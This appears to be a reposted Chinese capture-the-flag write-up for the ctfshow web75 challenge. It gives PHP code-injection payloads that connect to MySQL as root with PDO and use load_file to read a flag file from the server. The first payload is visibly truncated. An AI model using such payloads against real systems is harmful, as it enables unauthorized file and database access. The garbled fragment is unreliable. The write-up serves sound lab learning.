ctfshow web75
•
Python
开启环境:

先直接用伪协议获取 flag 位置
c=?>__toString().’ ‘);} exit(0); ?>
c=try {$dbh = new PDO(‘mysql:host=localhost;dbname=ctftraining’, ‘root’, ‘root’);foreach($dbh->query(‘select load_file(“/flag36.txt”)’) as $row){echo($row[0]).”|”; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

try {
# 创建 PDO 实例, 连接 MySQL 数据库
$dbh = new PDO(‘mysql:host=localhost;dbname=ctftraining’, ‘root’, ‘root’);
# 在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query(‘select load_file(“/flag36.txt”)’) as $row) {
echo($row[0]).”|”;
}
$dbh = null;
}
catch (PDOException $e) {
echo $e->getMessage();exit(0);
}
exit(0);
本文来自网络,不代表协通编程立场,如若转载,请注明出处:https://net2asp.com/b0c7558a2c.html
